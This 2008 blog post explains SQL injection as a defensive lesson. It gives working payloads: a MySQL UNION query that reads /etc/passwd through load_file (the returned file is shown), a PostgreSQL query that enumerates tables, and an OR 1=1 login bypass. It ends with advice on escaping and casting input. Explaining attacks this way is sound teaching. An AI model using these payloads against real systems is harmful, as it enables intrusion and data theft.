In order to understand how to protect your application from SQL Injection attacks, it’s a good idea to understand how SQL Injection works.

One big mistake people have is forgetting to turn off debugging. Debugging information is the holy grail for hackers. Not only can they attack your application, but they can also see the internals of your database, and worse! As is the case with mysql, you can actually load files from the server, and workout a plan to compromise the server! Suppose you have a simple login form, with fields “Username” and “Password”. The table might look something like this:

id INTEGER,
username VARCHAR(32),
password VARCHAR(64)

Let’s assume the programmer forgot to quote the password correctly. Now, by manipulating the unquoted field, a hacker can easily craft a query like this:

SELECT * FROM users WHERE username = ‘bob’ AND password = ‘‘ OR 1=1 UNION SELECT null,load_file(’/etc/passwd’),null; — ‘;

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
dhcp:x:100:101::/nonexistent:/bin/false
syslog:x:101:102::/home/syslog:/bin/false
klog:x:102:103::/home/klog:/bin/false
messagebus:x:103:106::/var/run/dbus:/bin/false
avahi-autoipd:x:104:110:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:105:111:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
cupsys:x:106:113::/home/cupsys:/bin/false
haldaemon:x:107:114:Hardware abstraction layer,,,:/home/haldaemon:/bin/false
hplip:x:108:7:HPLIP system user,,,:/var/run/hplip:/bin/false
user1:x:109:7:User 1,,,:/home/user1:/bin/bash

As you can see, the result returned all of the users in /etc/passwd. This information can be used to find acceptable user accounts to be brute forced, for instance, user1 has a bash shell and a password, unlike unlike cupsys which can only run commands via sudo since it has no password and no shell. This same method can be used to download binary files, such as to find a vulnerable version of a program.

With other database systems, however, you can’t do this, since MySQL is the only database server that, to my knowledge, supports the load_file function. You can, however, gain access to an application with other database systems, or find more information about the database layout. For instance, using the same vulnerability as before but with PostgreSQL, you can run this instead:

SELECT * FROM users WHERE username = ‘foo’ AND password = ‘‘ OR 1=1 UNION SELECT 0,tablename,null FROM pg_tables WHERE schemaname = ‘public’; —’‘;

id | username | password
—-+———————-+———-
0 | pages |
0 | creditcard_numbers |
0 | users |

That query returns all of the tables in the database, for further manipulation and data theft. What makes this dangerous is databases that hold sensitive information, such as credit card numbers, social security/national ID numbers, addresses, and email accounts.

However, not all applications have debugging turned on, so instead what you can do is first gain access to the site by changing a few things in the above queries, then deface or steal data from the admin panel. This can be done quite easily.

SELECT * FROM users WHERE username = ‘foo’ AND password = ‘‘ OR 1=1 LIMIT 1; — ‘‘;

That query will always return with one row, and thus can allow a hacker to gain access to a site.

One thing to remember is everything has bugs. Whether or not those bugs can be used to create an exploit is up in the air. Always sanitise your input. Cast fields that are supposed to be integers as such (ie. $id = (int)$_GET[’id’]), and most importantly, always escape and quote all input before running a query.

This entry was posted on Wednesday, February 20th, 2008 at 11:36 am and is filed under SQL Injection, SQL, General. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.